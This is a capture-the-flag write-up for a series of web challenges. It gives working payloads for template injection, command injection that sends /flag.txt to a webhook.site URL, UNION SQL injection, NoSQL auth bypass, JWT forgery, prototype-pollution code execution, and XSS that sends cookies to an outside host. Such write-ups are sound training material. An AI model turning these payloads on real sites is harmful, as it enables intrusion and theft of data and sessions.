# Web
## Flag Command
After some time exploring, I couldn't find a way to exploit using `command injection`, so I started digging through the source code and moved to the `Network` tab of the `Dev tool`. There, I found a field called `secret` containing the `text` : `Blip-blop, in a pickle with a hiccup! Shmiggity-shmack.`. I passed it into the `command`, and it returned the `flag`.
## Spookifier
In this challenge, we see that font4 will not be mapped to other things, so we will perform a general attack using `SSTI with Mako`. [link](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
`payload`
```
${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[99,97,116,32,47,102,108,97,103,46,116,120,116])).read()}
99 97 116 32 47 102 108 97 103 46 116 120 116 = cat /flag.txt
```
## WayWitch
`util.js`
```python=
const jwt = require("jsonwebtoken");
function getUsernameFromToken(token) {
const secret = "halloween-secret";
try {
const decoded = jwt.verify(token, secret);
return decoded.username;
} catch (err) {
throw new Error("Invalid token: " + err.message);
}
}
module.exports = {
getUsernameFromToken,
};
```
`database.js`
```python=
const sqlite = require("sqlite-async");
const fs = require("fs");
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
let flag;
fs.readFile("/flag.txt", "utf8", function (err, data) {
flag = data;
});
await this.db.exec(`
DROP TABLE IF EXISTS tickets;
CREATE TABLE tickets(
id INTEGER PRIMARY KEY AUTOINCREMENT,
name VARCHAR(255) NOT NULL,
username VARCHAR(255) NOT NULL,
content TEXT NOT NULL
);
`);
await this.db.exec(`
INSERT INTO tickets (name, username, content) VALUES
('John Doe', 'guest_1234', 'I need help with my account.'),
('Jane Smith', 'guest_5678', 'There is an issue with my subscription.'),
('Admin', 'admin', 'Top secret: The Halloween party is at the haunted mansion this year. Use this code to enter ${flag}'),
('Paul Blake', 'guest_9012', 'Can someone assist with resetting my password?'),
('Alice Cooper', 'guest_3456', 'The app crashes every time I try to upload a picture.');
`);
}
async add_ticket(name, username, content) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare(
"INSERT INTO tickets (name, username, content) VALUES (?, ?, ?)",
);
resolve(await stmt.run(name, username, content));
} catch (e) {
reject(e);
}
});
}
async get_tickets() {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare("SELECT * FROM tickets");
resolve(await stmt.all());
} catch (e) {
reject(e);
}
});
}
}
module.exports = Database;
```
`routes.js`
```python=
const express = require("express");
const router = express.Router({ caseSensitive: true });
const { getUsernameFromToken } = require("../util");
let db;
const response = (data) => ({ message: data });
router.get("/", (req, res) => {
return res.render("index.html");
});
router.get("/tickets", async (req, res) => {
const sessionToken = req.cookies.session_token;
if (!sessionToken) {
return res.status(401).json(response("No session token provided"));
}
try {
const username = getUsernameFromToken(sessionToken);
if (username === "admin") {
try {
const tickets = await db.get_tickets();
return res.status(200).json({ tickets });
} catch (err) {
return res
.status(500)
.json(response("Error fetching tickets: " + err.message));
}
} else {
return res
.status(403)
.json(response("Access denied. Admin privileges required."));
}
} catch (err) {
return res.status(400).json(response(err.message));
}
});
router.post("/submit-ticket", async (req, res) => {
const sessionToken = req.cookies.session_token;
if (!sessionToken) {
return res.status(401).json(response("No session token provided"));
}
let username;
try {
username = getUsernameFromToken(sessionToken);
} catch (err) {
return res.status(400).json(response(err.message));
}
const { name, description } = req.body;
if (!name || !description) {
return res.status(400).json(response("Name and description are required"));
}
try {
await db.add_ticket(name, username, description);
return res.status(200).json(response("Ticket submitted successfully"));
} catch (err) {
return res
.status(500)
.json(response("Error submitting ticket: " + err.message));
}
});
module.exports = (database) => {
db = database;
return router;
};
```
We see that the `flag` will be in the `Admin's information` and belongs to the `tickets` table, and it will be displayed through the `get_tickets` function. In `/routes/index.js`, the table's information is displayed using the command `const tickets = await db.get_tickets();` via the `/tickets` endpoint with the `GET` method.
### `Exploit`
According to the source code, simply changing the name is not enough, we can see that the username must also be `admin` to display the information.
```python=
router.get("/tickets", async (req, res) => {
const sessionToken = req.cookies.session_token;
if (!sessionToken) {
return res.status(401).json(response("No session token provided"));
}
try {
const username = getUsernameFromToken(sessionToken);
if (username === "admin") {
try {
const tickets = await db.get_tickets();
return res.status(200).json({ tickets });
} catch (err) {
return res
.status(500)
.json(response("Error fetching tickets: " + err.message));
}
} else {
return res
.status(403)
.json(response("Access denied. Admin privileges required."));
}
} catch (err) {
return res.status(400).json(response(err.message));
}
});
```
`and`
```python=
function getUsernameFromToken(token) {
const secret = "halloween-secret";
try {
const decoded = jwt.verify(token, secret);
return decoded.username;
} catch (err) {
throw new Error("Invalid token: " + err.message);
}
}
```
We see that the session token requires the `secret key` to encode, so let's temporarily submit something and modify it in `Burp Suite`



Here, we need to provide the `key`, change the `name` to `Admin` , and the `username` to `admin`, then switch the method to `GET` with the endpoint `/tickets`



## Void Whispers
After reading the source code for a while, I noticed that the program adjusts the variables and applies regex to their values. However, the main vulnerability here lies in `challenge/controllers/IndexController.php`, specifically in the execution of `$sendMailPath` through:
```
whichOutput = shell_exec("which $sendMailPath");
```
And here, the `$sendMailPath` variable is only checked to ensure the input does not contain whitespace:
```
if (preg_match('/\s/', $sendMailPath)) {
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
}
```
And since the result of the command is not displayed, I used a [webhook](https://webhook.site/) to extract the content of `flag.txt` and replaced the whitespace with`${IFS}`
`payload`
```
/usr/sbin/sendmail;curl${IFS}https://webhook.site/ac0401dc-4c52-427a-9ef0-0b5a8f8682dc${IFS}-d${IFS}@/flag.txt${IFS}
```
## Unholy Union
In this challenge, from the source code, we can clearly see that it involves an `SQL injection vulnerability`, characterized by the use of a `UNION injection`
```python=
const express = require("express");
const path = require("path");
const mysql = require("mysql2/promise");
const app = express();
// Create a MySQL connection pool
const pool = mysql.createPool({
host: "127.0.0.1",
user: "user",
password: "user_password",
database: "halloween_invetory",
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0,
});
app.use((req, res, next) => {
res.header("Access-Control-Allow-Origin", "*");
res.header(
"Access-Control-Allow-Headers",
"Origin, X-Requested-With, Content-Type, Accept",
);
next();
});
app.use(express.static(path.join(__dirname, "public")));
app.get("/", async (req, res) => {
const query = req.query.query ? req.query.query : "";
let results = { status: null, message: null };
res.sendFile(path.join(__dirname, "views", "index.html"));
});
app.get("/search", async (req, res) => {
const query = req.query.query ? req.query.query : "";
let results = { status: null, message: null };
try {
let sqlQuery;
if (query === "") {
sqlQuery = "SELECT * FROM inventory";
} else {
sqlQuery = `SELECT * FROM inventory WHERE name LIKE '%${query}%'`;
}
const [rows] = await pool.query(sqlQuery);
results.status = "success";
results.message = rows;
} catch (err) {
console.error("Error executing query:", err.stack);
results.status = "failed";
results.message = err.message;
}
return res.json(results);
});
app.use((req, res) => {
res.sendFile(path.join(__dirname, "views", "404.html"));
});
app.listen(3000, () => {
console.log(`Proxy server is running on http://localhost:3000`);
});
```
Therefore, I tried entering `a` to see the result.

From here, we can see that the table has `5 columns`, the `database` name is `halloween_inventory`, and it contains a `table` named `inventory`. Next, I tried searching for all the `tables` in the database to check if there were any others.
`payload`
```
Gun' union select null, null, null, null, (select group_concat(table_name) from information_schema.tables where table_schema='halloween_invetory')-- -
// This payload is designed to display information containing 'Gun' and show the names of the tables in the halloween_inventory database. One important note is that the information must have exactly 5 columns.
```

From the result, we can see that there is also a flag table, and the `flag`` is likely in this table. Now, let's check how many columns are in this table.
`payload`
```
Gun' union select null, null, null, null, (select group_concat(column_name) from information_schema.columns where table_name='flag')-- -
```

There is one `flag` column, and now we just need to view its value.
`payload`
```
Gun' union select null, null, null, null, (select * from flag)-- -
```

## Phantom Script
This challenge provides us with a lot of information about `XSS vulnerabilities` and also includes the detail that activating a warning will trigger the `flag`. Therefore, I tried a basic `payload` and waited for a while to receive the `flag`
`payload`
```
<img src=x onerror="alert('Boo!')">
```

## KORP Terminal
In this challenge, after I exploited it and entered "'", an error occurred, so I tried to exploit it using `SQL injection` with `SQLMap` tool

After the decoding process, I realized it was `bcrypt` and used `Hashcat` with `rockyou.txt` to `crack` it.

After that, simply log in as `admin` using the cracked password to get the `flag`
## TimeKORP
In this challenge, we can exploit a `command injection vulnerability` in the format variable to read the content of `/flag`
`payload`
```
';cat ../flag'
```
## SpookTastic
In this challenge, we can observe the characteristics of an `XSS vulnerability` for injecting into the email field. Accordingly, we only need a basic payload using an `<img>` tag to trigger an exception and obtain the `flag`
`payload`
```
<img src/onerror=alert(1)>
```
## CandyVault
In this challenge, we can trick the system to bypass `authentication`. The vulnerability is related to `NoSQL injection` (MongoDB payload)
`payload`
```
{"email": {"$ne": null}, "password": {"$ne": null}}
```
[docs](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/README.md)
## Trapped Source
This challenge involves using the console in the `developer tools`. In `script.js`, we can see that `currentPin` is an `array`, and it is compared to `correctPin: "3030"`. From here, we can manipulate it by directly assigning `currentPin` to the correct `password` in array format: `currentPin = ["3", "0", "3", "0"]`. After that, we call the `checkPin()` function to verify, and we obtain the `flag`
## Cursed Secret Party
In this challenge, we need to bypass `CSP`(Content-Security-Policy ) to execute an `XSS injection`. I used a [webhook](https://webhook.site/) to receive the `token` sent back, and this URL was referenced using the `JSDeliver CDN`
Create a public `Github repository` and a `script` (a.js)
```
location="https://webhook.site/ac0401dc-4c52-427a-9ef0-0b5a8f8682dc/?c="+document.cookie
```
And conver at [here](https://www.jsdelivr.com/github)

`payload`
```
<script src="https://cdn.jsdelivr.net/gh/zh13uz/a@main/a.js"></script>
```

After that, just decode the [JWT](https://jwt.io/) to get the `flag`
## Juggling facts
This challenge involves a `PHP Type Juggling` vulnerability. It appears that we need to access the `secrets` `type` to retrieve the content. I found related websites, and instead of passing a value, I manipulated it to always evaluate as true to bypass the validation.

## Gunship
While reading the source code in `/challenge/routes/index.js`, a fairly common vulnerability was found: `AST injection`
`Documents` at [here](https://hackmd.io/@CP04042K/rkPZgkAes)
`payload`
```
{
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line":
"console.log(process.mainModule.require('child_process').execSync('ls -al > /app/static/cc').toString())"
}
}
```
`script`
```python=
import requests
url = "http://94.237.56.187:34511/"
cmd = "ls -al > /app/static/cc"
res = requests.post(url+'api/submit', json={
"artist.name":"Haigh",
"__proto__.block": {
"type": "Text",
"line":
"console.log(process.mainModule.require('child_process').execSync('ls -al > /app/static/cc').toString())"
}
})
print(requests.get(url+'static/cc').text)
```
## Cursed Stale Policy
After researching `CSP nonces`, I read and followed the instructions from [here](https://content-security-policy.com/nonce/)
Accordingly, we need to add the `nonce` attribute for the `bot` to `fetch` the data.
`payload`
```
<script nonce="24bcf9506ed5c5cbee23b565f95f1099">
fetch('/callback', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ cookies: document.cookie })
});
</script>
```
##